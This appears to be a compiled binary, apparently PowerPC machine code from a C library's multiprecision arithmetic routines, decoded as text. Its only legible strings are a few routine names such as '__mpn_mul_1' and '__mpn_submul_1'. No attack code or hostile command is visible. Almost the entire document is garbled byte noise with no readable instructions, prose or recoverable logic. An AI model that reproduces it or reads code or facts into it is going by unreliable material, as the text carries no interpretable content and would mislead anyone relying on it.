``B}Cx|hx``B8h|cK`|~yAx8pKA(9 #x8!|N `Bx|K```B9 />|Kt<</@4H```B@A4?>;;/At+%@܉>;/%A/s@;xKM`}?P@|exAxxKA(>;/|x@``B@A89 P?@@%xDxKyI`8!{|!AaN ``B;K``B;x/A?B; ;Z&;KK<8`8W`Ki`8`K}` ``B||x!cK`8!9 ???|N /AD9G9&UE>U(>+ @<+ @0@@8c8/@}&}#N `B+ AȈ}J})8c89U>+ A,`BJ }J:9J}J9U>+ @|+x9U>+ A,`B) })29)})9U>+ @HA})PP}#N ``B8`N ``B}&8P}#N 8`N |A`Aa!a;B||x!:q)|? x@``bH;H/A |/A/|"A`| P9";`x /A{ +A =By)9J}*J)})R})N Hl|88/@ \?`{{8p88` KE`U >+ @+ @L@@T8;:/@}5})/A8/A9}8A(}:}p}}(}#J)4H@A`8`8?Aa|!AaN + A|8}@});:9YUJ>+ A,`B@ }J89J}@9YUJ>+ @~׳x9UUJ>+ A,`B) })9)})9UUJ>+ @A})P})/@/@:~7}#JI4P@@:~:4~ò```B8~PR||3xx/AD9Y94US>U2>+ @+ @4@@h,9;/@49/@/A:V97})P@@ }7KxKl``B9}K`B}5P})K`B+ A,} }U9:x99U)>+ A,`BU }J,9J}U9YUJ>+ @~xx94U)>+ A,`B })9)} 94U)>+ @A} P}9K8`B`; 9B`,;8$,9J|cJ/ .@@x#4@@~H~J|3xx/AD9X95UK>U3>+ @+ @T@@::/@}5})/@$#0/A(88c8|@h:y)/@At#xK}`A$x9#8y)})}AIj9!p}#KxKp`K`%`K4``B+ A}T},:969XUJ>+ A,`BT }J9J}T9XUJ>+ @}6Kx9UUJ>+ A,`B, })9)},95U)>+ @A},P})K``B#8@@A@C@}K(8/@Ac<@AA/@>J,9@K}5P})Kp4P9K9 `"X|"x  9/}8|2| Px A}p( }#J)H@@8```BH&J|#xx/AD9[98U]>U>>+ @+ @@@k9k;9/@}8})/A/A9}(A(}*}p}}( }#J)H@A`K``B+ Ak}^})9k;9[UJ>+ A,`B^ }Jk9J}^9[UJ>+ @9XUJ>+ A0``B) })9)})9XUJ>+ @HxA})P})/@ /@ ;> }#JIP@@ p; ;``B9~~PR}k|#xx/AD9[96U@>U7>+ @ + @@@})P@@ D}>KxKl9}K8}8P})K/<8HH@=B8JHHy)yJ|jHQA(8}(S}';|C8}t9y#F0yJF0|jP/;`@;8<{; 8HP/A#xK)`/A/<8HXA#xK`/A/<8HhA#xK`/A/<8HpA x#xK`/A H/<8HxA#xK`/A<#x8H?`Ky`{{/A<#x8H?`KU`{{/A;`K=B8JH@y)yJ|jHQA(8}(S}';|C8}t9y#F0yJF0|jPK8xKy`K `°H) 9)y)$9 0}^J@@`BXA=gl}>H*aibyec-ald@A9 /@x}^SxK```B+ Ay}@});9:9[UJ>+ A,`B@ }Jy9J}@9[UJ>+ @~x9VUJ>+ A,`B) })9)})9VUJ>+ @A@})P})K9``; 9B+ ,9J|cJ.X@x#8@@d~HfJ|#xx/AD9^97U@>U8>+ @d+ @,@@;;{/@}7})/@#/A9k8c X}k@hK`B+ A̋}@});;9^UJ>+ A,`B@ }J9J}@9^UJ>+ @x9WUJ>+ A,`B) })9)})9WUJ>+ @A})P})K,#8@@4A@,&JK}7P})K}6P})KxKA`9 `"HK`<aJibyJeJc-aJldPA9 /@`|"°X`°HKp8?`{{++AaJo.yJeJcaaJchP@=@e1>aJ.1P@9 K`B=.s*ao.yecaach@@P=e1*a.1@@<9 K8`B9D} HQ@})C/@<9D} HQ@})C/@ 9D} HQ@})C/@9 D } HQ@})C/@9(D(} HQ@})C/@90D0} HQ@d})C/@98D8} HQ@H})C/@8@8y@Kz`K``BxK}CxK?` {{K8}(S}';|C8}t9y)F0yJF0} HP}CxK@?`{{K98=B)JHh} HQ@ })C/A4}CxK,} CxK8}(S}';|C8}t9y)F0yJF0} HP}CxK?`{{K498=B)JHx} HQ@})C/A}CxK8}(S}';|C8}t9y)F0yJF0} HP}CxK?`{{K?`8{{K98=B)JHp} HQ@})C/A}CxKp8}(S}';|C8}t9y)F0yJF0} HP}CxKDA+ A+0ap!AH/;; A L}Cx~ٳx+0,A\A܉9 @@ex9 H`B9)}YJJ@@$/@9)}9Ji;)+0@)xK9(U)>+ @\="yd;'>p})@.U)>+iA 4+nA /@$! !xM})Ry9@@%8!|} AaN ``B:Kx;6v@'(+0@'v:6x;96H``Bi+0}9KxA~dx93U*>+ Ap.>x:U)>+ @A@ 0/@ 15}AA@>0@xxH```B&P@hG/@|}^Ю|+x@L9*|ިPpU)>2+ @L```ByJd}GP.UJ>9*U)>+A/A0^9*2U)>+ A+0@܍^K`B}P^K`Bzid}'H.9)U)>+A``B:~;93K```B;:K! K`Bzjd.|gP.Tc>AA @@x%xH`B%P@H/@.A 93KD`B.A#<pzsd}).U)>A\+eA`xAX~x/A /~x|3xA`Bw/A4/(A9}H@.A`B%x%|+xH@@AD988|+x@A K```B&P@G/@A} CxA&9@yJ}GR@@A})8P}ZB!P9RAA/A4}5PPA4~})PP!U'!PA/AH/@ /A$9I-+-A$Y/0A$`B9CUJ>+@A  @;At@A +p;@.93K+p@`B~x>+-AP++A 9)U*>+ AL8~A .Al/@"hA"d!U'<}KP`}kvx}JX8d8`|(xe }kPPA8H4``B}&Aȍ#J 89)U'>+ }J2A(@/@!/Ap/A4="/)f`9@"`9- IAX=" f!2H`````B#9)U)>+ @/Awa!K/A<pyJd})P.U)>/eAx@@D>/0@ |P9>````B}>KxJI/0A@A@A/@K}5P@}ISxK```B|ix|+xK`B/Aw/@a!K```B/A$+px@4K``B.A|+eA~xex$x~óxKn`/A@Aw/A="a!)gKP``B="a)g!K0``BPT9JUJ>+AxiH[/@t:;`Kh```B<x88'~óxHƽ`/@/A4;<xx88g`Hƍ`/@;/A=")gKx9(U)>+ A; }Cx9(.~ٳxK`B<x88&~óxH`/@6;/(A=")g/AK`B} CxK``B9hy*}GR.qJ@@H`````B9y*}GR.qJAH``B9+0A8;9+ A(|=B9Jfxd}*J)/Ap!I |P6|/9@AyJ@}HPP}IPP9J}Jt}J@Ax89)xd})}$J7|BA |+x8H4```B9F8})P6|yx}Cx}kKx|8B@YyI}'J.q)@}Y9*+ 8y@<pyJd})P.9)/})9A/@8!F/}*T68=}E+x}&06Aȉ9/0@$98})``BB@#/0A9x8?8aKQa!K[/A8>P@ex9 H ``B9)}^JJ@@/@9)JK:K;.KLa!Kty d}Cx|gH.}Cx~ٳx; Tc>K\py)d|H.8KyJ}IPP}JtKA8AD~x8``B^9*+ A+0@68|"A/@^89*+ AK/x@X8yKP9@K9 JKAixHx~x~Ƴx~#xx;~K{{$9!}))})t/A/aA /@/a(A0!AhH@@T.AH |@t}>Kx;~hx;9 A8/!N?}G@Kx2i}3I!xxxK!Aa!K`B~x}7KxK|>8~9)U*>+ AA=@aJyJeJaJP@A@<9U=`8xd`|(xe }kPPK@@~xexx~óxKhu`@A@A@A@}9P9Y});*9)U)>+ A;Bx9K``B@A;93.Kd0@8K\y: xFxxxHE`FxxxH-`,#Ax$9A8}*JiXKax988K::;#x~xix~ƳxxHx~K!/|yx@=BA:Jn=B;(:o;!xxH9ArRJx!:s9*8y)$|JAt|;x~x~gx~#xHU`/!|:@ 8/W<:RAD~ x~0x}QSxH9@|W<:RKd|3x~ex~x~#xH`KA!A9G9yI$T02}(J)X})tP/A /@ 9>8U(})6p}}%x$|2X@`8x$8?}$JX!/@!/@!/@!/@!/@!/@!/@!/@d!})ty)т9)@8|9A}%Hx}i}xK9 y)H@A9@y dyJ}GRyJ@@@ <<9)U*>+ A8~@x.Ah/@ 8!U xyJd8@9J@d<</})A\y)$}*J)X/@9>/})A8y)$}*J)X/@d9>/})Ay)$}*J)X/@@9>/})Ay)$}*J)X/@9>/})Ay)$}*J)X/@9>/})Ay)$}*J)X/@9>/})Ay)$}*J)X/@9>/})A`y)$}*J)X/@9>/})A+ @pyJd}'P.9)U)>+@X;Kh!N?8}G9K="/)f`9@"`9- IA="a f!!2Kݨ=@aJyJeJaJP@A(Kx9 Kx$xK`/@Kt9 K;x xx8Hz]`Kx9`8 8K8x |#x8Hz)`!K:K9 KH9 K@9 K89 K09 K(9 K !Aa!K `<<+ A݄;:.6xKؔ<<+ A+0pA/<; A }Cxx+0,A\A@= @@x9 H`B9)}]JJ@@/@9)}=J;+0@xK9(U)>+ @\="yd;'?p})@.U)>+iA+nA |/@! !hM})Ry9@@!d8!a|} !AaN ``B;Kx}$Kx95U*>+ Ad.x:U)>+ @A@ B+ @L```ByJd}EP.UJ>9*U)>+A(/A0_9*BU)>+ A+0@܍_K`B|P_K`Bzd}%H.9)U)>+A ``B:;95K```B;`;K! K,`Bzd.|eP.Tc>AA @@ (xxH`B'P@H/@.A 95KP`B.A"8pzd}).U)>A|+eAxAh~x/A /~x|3xA`Bw/AD/'A=yH@.A`Bx%|+xH@@AD=89|+x@A K```B&P@H/@A|;xA9@yJ}HR8@A})@P}Z:!PRAA/AD}4PPAD~})PP!T5!PAp/A /A@ /A9ID+DA]/0A$!I=aJ yy) ea}J@yJB9J6/4A }JJ/}J@!lx!; :a:A:}Pz @@ }QP}J}TR9P@}^Sx9@A~1P:=B})P: n~ϳx}?~x:;H0`ByE$}{x}^SxK`/V<~:A\~8/A0=B/8oP~x9)y)$9J|"Ax}ESx}{x~xHi`0/9)J}{x@~x;}4KxKt```B/<zd}%H./xAp; @9>H``B+0}=KxA~xKzd~x|eP.x:`Tc>9CUJ>+@A P @;AT@A4+p;@P.95K+p@`B~x?+-A ++A ,9)U*>+ A<8A 0.A/@A!T5<}KP`}kvx}JX8d8`|(xe }kPPA8H4``B}&A#J 89)U(>+ }J2A8(@/@h/A/A="/)k`9@"`9- IA$=" k!2``B#9)U)>+ @/AwK/A8pyJd})P.U)>/eAx@@D?/0@@}P9?````B}?KxJI/0A@A<@A/@K}4P@}ISxK```B|ix|+xK`B/Aw/Ap=")kK `B.A+eA~fxxxxK:`/A @@/~óx@8}w/@K/A+px@Kp``BiPS9JUJ>+AH\/@:`;K```B<x88'xH`/@/A<<;xx88g`H`/@;/A=")kK``B9(U)>+ A; }Cx9(.xK `B<x88&xH `/@h>;/(Al=")k/ATKL`B} CxKT``B=hy*}GR.qJ@0``B=y*}GR.qJAH``B=+0A8;+ A<|=B9Jkhxd}*J)/A!I5 4|P6|/9@A yJ@}HPP}IPP9J}Jt}J@A89)xd})}$J7|BA|+x8`H4```B8f8})6}Cx}^Sx}kKx|8`B@]yI}'J.q)@}]9*+ 9@8pyJd})P.9)/})9^A/@/!F}*T68=}E+x}&06A ȉ=/0@$9>})``BB@ H/0A9ex8?8aKKT;@+0@؊:`x;Kx\/A ?P@x9 H9)}_JJ@@/@9)JK|:`KH;.KHy d}Cx|eH.}Cxx; Tc>KXpy)d|H.8KyJ}IPP}JtKA|8A~x9`B_9*+ A+0@t68|"A /@0_99*+ AK9@4K9 JK`BA xxHx~Gx~fx~$~x;K {$9!p})) })t/A/!A /@L/AAA @@.A< 5|@d~Ix;*x;:@ ?8|/@~IKx3 }8I!}(KxxexxKux!AK~x}4KxK?89)U*>+ A A =@aJyJeJaJP@A<9Th`8xd`|(xe }kPPK@@4~fxxxxK4u`@Al@A@A(@$}=P9]});*9)U)>+ A;Bx8K``B@A ;95.K0@hKy< xx~ijx~óxH\E`x~x~xH\-`,#Ax$9Ap8}*JiHK:A:a:x~Gxx~fx~xHx~K!/|}x@=B:; n=B;*o!;~ѳx~xH9AXJx!:9*8y)$|JAt|;x~x~x~#xH^q`/!|:@ 8/W<;AD~ x~0x}QSxH9@|W<;Kd|3x~x~x~#xH^`KA!89Apx$T02}*J)H})tP/A p/5@9?8pU*})6p}G}%x$}BH@ 89Apx$}*J8?H!/@W 9)})/A@8|9A}*vx}%H}Qi}ex8aKAKxaex988K``B9 y)H@A@9@xdyJ}HRyJ8@@`<<+ A8@.A l/@ 9!TyyJd@@9J@<<+ @,yJd}%P.9)U)>+@;K$`/`9@"9- IA\=")&=" k!2K ?8|9K=@aJyJeJaJP@A@^@ 9)>y*@/6A|/@@/@8xxH_`!A8!|a} N `B/@`/`9@"9- I@`="9)lpiȉ @ H `8!|a} N ``B="9)l`iȉ="9)lp)IH 1`8!|a} N `B`/`9@"9- IAh="9)l@iȉ="9)lP)IH `8!|a} N ``B="9)lPK`Bx 8xxxHD `{Z xzK8```B9@}J6Px/3QA|/AT/@K|="x9)lPiȉ="9)l)IH `xK``B;/AtxK8```B;/@TxK```B;8x8xHC`>/9@yIM>@ !AKh```By$86K`BAx 6!.({zKX```B}Cx86;K88xxHB`xK```B^9;`1 :}Q;@)})Cx}(Kx }&/9@|!Aa!AF@d?`c{#|+x{{|#x|3x|~x|;x}Cx}8Kx;8.)g{:``B9FUJ>+ @AX0AP|޸ 89E|;}E;A/@/@$;KX/A`>P@988H```B0@@I8|;x/@}Cx 8|9E;}E;@h``B:/@!E}JP@(="x$9)m`|(*/@<9 <8!x|!} AaN ``Bfx$x#xHD`Y<@AH/A0</:APy)$;|yI*8<9)<K$;8K`B})*xB@0H````B* 9)/*@B8cKy($=B}%J9Jm`y)$} @*|H*A/A$x#xHD `Y<R@@$})*xB@@* 9)/*A/A</:A09Iy)$\|yI*Kh8cK9}CxK<88k@<+ A+0pA/<; A ,}Cxx+0,A\A> @@x9 H`B9)}^JJ@@/@9)}>J;+0@xK9(U)>+ @\="yd;'?p})@.U)>+iA +nA /@! B!xM})Ry9@@$8!a|} !AaN `B;Kx}$Kx95U*>+ Ad.x:U)>+ @A@ 8/@@14|9A4?0@(xxH&P@hH/@|}_Ю|3x@9*}PpU)>B+ @L```ByJd}EP.UJ>9*U)>+AX/A0_9*BU)>+ A+0@܍_K`B|P_K`Bzd}%H.9)U)>+A ``B:;95K```B;`;K! BK,zd.|eP.Tc>AA @@<(xxH`B'P@H/@.A 495KP`B.A%T8pzd}).U)>A|+eAxA~x/A /~x|3xA`Bw/Ad/'A>yH@.A`Bx%|+xH@@AD>89|+x@A K```B&P@؍H/@A|;xA!T9@yJ}HR8@A})@P}Z:!PRAA/Ad}4PPAd~})PP!T5!PAX/A/A@ P/A!9ID+DA!ȉ^/0A!!I=aJ yy) ea}J@yJB9Jk/4A }JJ/}J@#0!; :a:A:}Pz @@ }QP}J}TR9P@}]Sx9@A~1P:=B})P: n~ϳx}?~x:;H0`ByE$}{x}]SxKׅ`/V<~:A\~8/A0=B/8oP~x9)y)$9J|"Ax}ESx}{x~xH8=`0/9)J}{x@ 0~x;}4KxKt```B/<zd}%H./xAl; @9=H``B+0}>KxA~xKzd~x|eP.x:`Tc>9CUJ>+@A  @;AT@A+p;@.95K+p@`B~x?+-A++A 9)U*>+ A\:A .A /@!A!!T5<}CP`|cvx}J8d9``|(xe |cPPA8H4``B}&A 3J 89)U(>+ }J2A(@/@!/Ad/A`/`9@"9- IA="9)l@iȉ="9)lP)IH`H````B39)U)>+ @/AwK/A T8pyJd})P.U)>/eAx@@D?/0@ }P9?````B}?KxJI/0A@A@A/@K}4P@}ISxK```B|ix|+xK`B/Aw/A="9)l)IK```B.A|+eA~fxxxxK Q`/A @@/~óx@8~w/@Kt/A+px@K@``BiPS9JUJ>+AhH\/@:`;K```B<x88'xHa-`/@/A<<;xx88g`H``/@;/A="9)l)IK9(U)>+ A; }Cx9(.xK`B<x88&xH`}`/@8=;/(A="9)l)I/A K```B} CxK``B>hy*}ER.qJ@0``B>y*}ER.qJAH``B>+0A9 ;+ A}=B9Jly d}*JI/A| *!*)}06})/9Ay@}@P} @P9}t}@At89Jxd}J9}DR|:H,``B89)|86})|x8|~x}}[x9}B@(^yG|:.p@}^8+ 8~@pyJd|P.8/y $8|}GR 8A /|<6|x8 =8|6A9)<})9Kl;@+0@:`x;K|\/A?P@x9 H`B9)}_JJ@@/@9)JK|:`KH;.KHy d}Cx|eH.}Cxx; Tc>KXpy)d} H.9Ky} @P}tKDA48AT~x8`B_9*+ A+0@68}"A,/@_89*+ AK9@4K9 JK`BAxxHx~Gx~fx~$~x;K {$9!})) })t/AD/!A/@/!A@@@L.AX/*@D j:|A x 8~x~xH,e`!;9@/j9@A~)x;:  ?8|/@})x3 }8I!}(Kxxex~xKa!AK```B~x}4KxKL/@aex9888aKK?:9)U*>+ AA8=@aJyJeJaJrP@A<<9T`9`xd`|(xe |cPPKx@@~fxxxxK`@|sxA<@A@A@}>P9^});*9)U)>+ A;Bx8KX@A ;95.K0@Ky< xx~ijx~óxH*u`x~x~xH*]`,#Ax$9A8}*JiHKl:A:a:x~Gxx~fx~xHx~K%!/|~x@=B:; n=B;*o!;~ѳx~xH9AXJx!:9*8y)$|JAt|;x~x~x~#xH,`/!|:@ 8/W<;AD~ x~0x}QSxH9@|W<;Kd|3x~x~x~#xH,1`KAH!9G9yI$T02}(J)H})tP/A0/j@9?U$})6p|}%@x$9A}*J:9)H8|Nx$8?|!/@\H````BW 9)})/A@9A8|2|H9A}*vx}%H}Qi}ex~xKmAK`B9 y)H@AH9@xdyJ}HRyJ8@@<<+ A:@h.A0/@ 9!TyyJd@@9J@T<</0@$9=})``BB@C/0A9ex8?K ?8|9K }YSxK`/`9@"9- IA$="9)l@iȉ="9)lPK@=@aJyJeJaJP@A + A;x.:`K~xx;:`K؜.K۴<<+ @ UI9)U)>+@ +_@;K``B(@A<=")g/A!M})Ry9@@p8!N |="8'888Ke`!A|KTie)|!|`B!|Kx|K:m```!a|#x|x-!9 _9*U)>+ @ UI9)U)>+@ +_@;K``B(@A<=")k/A!M})Ry9@@8!N |="8'888KE`!A|Kxil9@y)Bxc yIN})xy*"}Cx/A!x|!xK\=")k|KH|K9```!a|#x|x-!9 _9*U)>+ @ UI9)U)>+@ +_@;K``B(@AD="9)l)I/A!M})Ry9@@8!N |="8'888K`!A|K="99)lixilxc y)By N}*xyI"}#x/A Apax|!pAxKH="9)l|)IK,|K7``x$888x89&8`})```B % }#J|cH}(J' }JQ}J}HUJ>|c|cPPBN ```5Aly$}#@*}D@*P@@<||cB|BH`````BB@0#DP@AP@8`M 8`N ``B8`N ```}&/!A/A }(0Pay)$y$A}J:S!!Aaǐ*}O*:|;x|3x|#x*P@|yx}Cx~;@D|܊|0P5A ,|p9;!x{" @9;9/y $9J:@ ``Bx:`{ y $.(~HP:4:~/~``BA ~x~x~#xAxK`AxP@o;A} Ò5y'"||ȑ}EPPyG0@|;x@}G8P@@ |;x}FPPÒ||}FPPyI8@@})9\H@@ d}\Sxy}'HP}x}]}H`B}2|;x@@|P})|1~H@A@|*P@@ ;@xexDx}{xH `AfxEx}{x}{x;K`9/U@ |!Aa!Aa8!x} N `B| @fxEx}{x}{xH` ;U|K``B9/U@KD``Bx$g;9)}J}H*,H@@ |"7Ax!Aay}"@!@{$#@;8yc }[Sx;H0}ZX@@H;}@@P/}}*;9AH@A|y "|||HP}ISxx8@@})Z9FX@@}FSx}'HP||}E}'HPy(P@@}Z9%X@@}%Kxx} @P|+x|}@(}ISx`BH@.A @$A }Z8@@}@0})}FSx@;/;9 })A|;x@ !Aa8!, x} N `BIxfx8Kdx$g}%;)H@@T4Aa}";y$A9y~"}Byz ```B}Ix"| }=HPy&0@|3x@ }&Z8H@A H@A$|3x|HP|;x|f|Px H@@ })Z8H@A H@A|;x(@yJ}J3x};HPH@hAa/@!x$9Yyf"yJ#9Jyd }I```B3}^1|!x}*HPy)H@@$})Z9H@~H@AA,``B|HPy3}>1|!x})8Py)H@@,})Z9^H@~H@A@9^})Z``B}Sx} HPBd!8!x%} N ; A!@x$|2 y{ }ZSx;H8``B|BX@@;}@8P}}*8AH@A|y "||)|HP}ISxxH@@})Z9EH@@}ESx}'HP}I||Q}'HPy(@@@}Z9*@@@}*Kxx|@P|Sx|A}@@}ISx`B8@~@A @$@ |Z98@|0})|+x@;8}})9@$/@$KX`B)xFx9K~5x$~v~~58~{ `BP@9;A} Ò0y&"||A}DPPyF0@|3x@}F8P@@h|3x}EPPÒ||}EPPyIH@@})9\H@@}\Sxy}&HP}x}]}H`B}*|3xH@|P})|)~H@A@P@@ ;@xexDx}{xH`AlfxEx}{x}{x;K5`9:P@/~A9;9/y $9J:A~pxK`B9:P@/~@KD``BH@@;})K```BP@@9}JK```B@@@|9J}ZKt```BH@@(8})ZK ```B9})ZK`B8})ZK,`B9J})ZK`BP@@l8}ZKd```B8@@8})ZK```B8@@;})K```B0@@H9}JK@```BA @@A|@}+I;|+xK}+HP;K`B8|;x}{xAxK`Ax/@, |K|#xKd!Aa!AaK`````` @x$|:|c:x/>;D}E6{AAdA````B}H06}i68}l0668cB} Kx06H`B} Kx066};xH`B}L068c}g6B}h06};xHH}h066};x066} Kx8H``B}L066066};x0668cB@8} KxHhB}H06H}H066066} Kx0668};xB@l``B066c} Kx066C};x066c} Kx0668C8c};xB`B066c} Kx06C};xcC|+xN @ __mpn_lshift``,%A/A/!F@9y@ }P6@hx$}cx9%y)9)})H``````BD } 46}K6}HSx})[x' B}J46}L)*N ``B} Cx8}J46}L)*N |<<_x }JBy9}#Kx@8?a|!AaN ```BH`|ix/}9*;@{$9H$``BA09 }=*;@AT +@exxxH`|ixK!}!j:p~:H@``B @A /@x$}CSx8K`~~PAxxxx~xH`~x~x~xxKA`6~x9T~x|cJ@t@xH,```B8$9J9)/*@H8BK```BfxxxxK`|ixK/@9:9y)9C9)})( * B9 K\```Bxx~gxxxK~xxx~xKI`~i}8*}T|9J|cJ8@|t*AH @Al/@dze$}CSx8K=`KL8$9J9)/*@:sBK$K#Y` `````aA9Dx/ 0x|A,A`A}cx|1}08|88cHd8|1|0|1}0|`|)}8cHp`B|1}0|`Hd`|1|0D|1}0}:1}Z0|`|)})A}#88cH`Dd8B@`|1|0|1}0Dd|a|)}:1}Z0}{1}0Dd})A}kQ#8 c8c B|1|0|1}0|a|)|haAN @ __mpn_mul_1`````||3xaA|+x|x|#x!a+A{$A/@8xK`8`/|*_;A HT`BA}?*;@A< xdxx+9 @HQ`|ix}?*;@@8!Aa|N ```BxexxK`|ixKl`Bx{$K`K4```B/@9<9y)9D9)})* ( BK`B}&p|a|3x|~x|#x!!|+xA;/xAK){$x~|*~xcxH `{&~ijxx|~I*cx{$|*H`8!|~*|a} } N |t-x${$!~$cAApax|;xx~x$xcxAKQx~x#xK`/A$xx~xxH `x~ijx~x:Ki`:`>/A~xx~ųx#xH `A.=x%xxCxK@~]zJ$898|:}>JH``````B H@}FJ} *@zR$x~~dx~excxK5`/xEx$x|tx#xAdH`~ųx~x~PAdxCxKxEx$x#xK`|tA}^*|cR@|~*A@$9:9^|`B H@@x|$x#xK`/AL}>*9IP@}^*@4H`````BB@; 9)/;AApax!A8!|a} } N `BB@3 9)/3AK`BK`~ųx~x~@|xCxK-K`BK!Kx``BKx~x#xK`/@D%xx~xxH`x~ijx~x:K`:`>/@D~xx~ijx#xH`~ux@@|x%xxCx.=KyK<~]K```B|aA|#x|x|+xx$!a+AA/@8exK`8`/|*_;@dxH`BA}?*;@A< xxx+9 @H~!`|ix}?*;@@8!Aa|N ```BxxxK`|ixKl`BK`K4`B/@$9;|#xy)9C9)})H```B BK`B}&pA|a|+x|~x|#x!1A;/xAK1{$x~|*DxcxH|`{&Dxx|~I*cx{$|*H|`8!|~*A|a} } N ```B|t-x${$c~!x|3xx~xcxA$KaxDx~xK`/A$~xxExxH`A$.=xx#xK@P|x$898|:}>J H@}FJ} *@x$x~*dx~xcxKu`~x~ijx%x|wx~óxH%`~PADxx#xKx%x~ijx~óxK%`|cA5|cJ@uA@,999^|```B H@@x|~ijx~óxK`/AL}>*9IP@}^*@4H`````BB@; 9)/;Ax!8!Aa|} } N B@$5 9)/5AK `BKK ``BKxDx~xKa`/@~xxDxxH`@|xx#xKu.=K``BDx|x#xKQKH``B|xx$dx~*cx~x~KQ`~ijxx%x|wx~óxH`~PK ``B| !q|? x-?x9 A\/@Dx&A!)}AIj8pKm?xM})Ry9@@h8?|N KK``B/A|3xKK```Bx&|3x!*}Ij8pK)KK````x$888x89&8`})```B % }#J|cH})@P' }JQ}J} @UJ>|c|cPPBN ```````x/ 8xa|AHAA($| 1}0|8c$d8}kYH```B$d| 1|0|1}0|(}||8c$d8 }kYH4B,$c| 1} 0|X}kY1k|hN $d| 1|0|1}0$}i1}I0|(}kA}||}kc8c$d 8(}kYH09$dB@8| 1|0|1}0$d|a|)|1}I0}{1}0$d|A}kQ}|||}kc8 }kY8c 1kB|| 1|0|1}0|a|)}||}kY1k|haN @P__mpn_submul_1!`B!y* y(yJCy*e`9Jy)E#@ /@8%8`N ``B9@yI#8`N ```B}*t9J})P6!J#E8`N `!q -!9 Ax`Bx!xx xyJC!xy,e`y$9Ly)}(KxEAyj>$8xxe`|`P9f/}`@/?A}J\6x8A/A/=y}J@P@8xyH.|=9 yJy( 9 y9y)} SxC#xx xCA```B9@yIM#!M})Ry9@8`@X8!N `Bxe`yjE|`P9f/}`A0/A4x 58}J06@,``ByJy)H`By)9@8xy|=} Sx#Cxx xC@T/@xhxyk | Cx8 9yky(@0} ;y@88yk@9 9H````B/|Ay g@} tx x"9)y) |P} H6/x @}f[xyNy( |3xy)"yfy)|Cxxxex|KxyI})+xaxy'ex|CxApAx`B!p!M})Ry9@@88!N pA|8x_A0}ISx8cxiN<}*Kxy) xy)B xBAd|4= y)}HPT~}i[xxx }+Kx} tx"9)y) |P} H6/x A/A })$6y( y)"K```B/@l} t|lx9)*H@@l+5| PyJ xf yJ|8`A 5} 06}$6y(/|06|;x@Tx x"K ``B|t|lx9)H@A},Kx8+5|i0P}@Sx8y& x`N| P| xxc`|@8}86y y"K`By AK`B9 9K`B|`/`9@"9- IA@="9)l`iȉ="9)lp)IH`|K``B="9)lpiȉ @ H`|K|K }````!"0/A\|`;`<8t8(``|/A;``8!N ```B`;`K``B|`"89@/!a x9ApA`;°`<8~,8t````"@/A`b``|yA?/A/A`{ JW|jHQ@H})/A``B/AxK%`9 ap?H```B;?/@|/A؁?p/=Ah/@?;&./A9^`B`a)`"K```BxK`K4/@?;&JW|jHQ@P})/@>D|jHQ@4})/@>D|jHQ@})/@p>D|jHQ@})/@T> D |jHQ@})/@8>(D(|jHQ@})/@>0D0|jHQ@})/@>8D8|jHQ@})/@8@8~@Ke`K``B8}(S}';|C8}t9y#F0yJF0|jPK``B?;*`K`B?;*`Kh`BxK!`Kp8}(S}';|C8}t9y#F0yJF0|jPK@``B>D|jHQ@d})/@(>D|jHQ@H})/@ >D|jHQ@,9@})S/@> D |jHQ@ })/@>(D(|jHQ@})/@>0D0|jHQ@})/@>8D8|jHQ@})/@|8@8~@K`KhK]```B||~x!/A8{ .a)`"K```B>.;``K```B;Kl```B|<8t !K"M`,#A`9"h#8!p|N `|88!H]]`8!p|N ``|/!AP/8A$8H] `8!p|N `BH\`8!p|N ``B|+xK```#|x!c+ Ax}*Kx="9 yJd}(R)})B})N P`PPP00`B#P9@/@D?8!IN ```B?C08!IN ``B8!?iN ```B|8K9`8!|N `B|8K9`8!|N `B|XK`8!|N `B?9@8!ICPIN |<8t0888`K#````B|KY`||jxK`B|!a-!9 a/ A`9")/@x9@9>ApAxA|J,|,/A/@9 8px|J}J |P|L,F}*J}=*|l|L,a8!|+xAN ```B8K``B|+x9%|J,|*,@9 Ah[4uJ @\;KT8p89 KD|K`Bzx|}|*K``B9 8| } @(|A-@/@h-8}Cx88/8A9 1| } &U)i)D|&K(-| 9 AK```B|A(`9"`i%e})EN!A(||exK |<<R/ Ax!`Z9"R)/@*A9 cx<xK]`a8!x|N ```B-| 9 K9 8| } @(|A-@/@(-8}Cx88/8A9 1| } &U)i)D|&K9 'KI8!|~x|xN AK``B' GU)>/ R@A(`9"`i}(P*~})^N!A(|~xK`BA(`9"`i}(P*~})^N!A(!|~xK`<<`@A4>h@@(>4u)@@xxHKu`/@(/@9;{+@ 8K>0@w(/Adx8`K`f(Dxx|88K`/|{xw Az q*@ Tu)@@;؀0/80x @ <8`8~888|cxHT`[/A<;``B{$}(H*i(#/A;P@{ A(8`K`9 #K``:¸6q)@ `9"ȁ)/@Vix9I(J4uJ @ 9y )/@y $|/ x9JixyJ;}J}Qj;p`BI(J4uJ @4{$;}?p="9)u>b?x="9)v>"?="9)F?"?>Bx;z :sx:1u;9u:RP;`B{$}H*.0u)A8.4;u)@.0/@\6q)@[;P@{ A?p/A `9(9)/(A P@? AH;P@{ @{$H*>0u) @>0/Á>4`x9BU)ґ>4*A(Ii}IIN!A(>4u) @ ȁ[;P@{ AcxH@`2@cx8Hb`r@6`99Bq)@ @ !/}{x8?@px|!Aa!AaN `B$/@="9)!@)/A0xKa`./A`{$})*/A```Bx~#xK)`.}I**/A:H0`B#xK]`.8x }I**0@@lJz $}*H*$/@="9)!@)/@~Dx#xK`.8x }I**0@A``B~cx;ZK`.;})*/@~cxKE`K ``BV{ Kp`B)/@K$/A@A|#x;H```B@}|[xA( 9|/@;N@@yz${$9 }$1*| N}| *Kl88Hd`[9>y> P@@hK8`Bw(/A8/CxKim`;/@T`;"``;9/x@K(```Br@<<y> P@@[0`;Z8/@,/Ã8~|cxc ~xc$K`|iyA${$KW`>y.Al?;<;up[{$}JH**4u(@4e){$*49=y= 6q)9)}IA*@,;8@{ A| <K0xK `K;9`K4K`~cxK`KxKK`}=y) H@@ }>y#&y>K`|uyAz$xKV`-/@4xK`}<).KCaJCK9Nx @A +@{C&_KE`{P_|hyAyz$}CxEx_KU`_|hxn}Cx@AK)`K`:¸6q)@@8rAP4W{!@@/A\;9G;yJH}IR9) 4u@ ;{ ~H@@[0`;Z8.@u)/Al?";9up{$}HP* 4u@8ey'$ 49)y> 6q)}H9*@\x;8@{ A| \*(8`K`#/A4<<?"??;;@:u;9x;u;PDx~xK`;}I**/A;H,xK`;9y }I**@@@dJ{$}*H*$/@="9)!@)/@xxK]`;9y 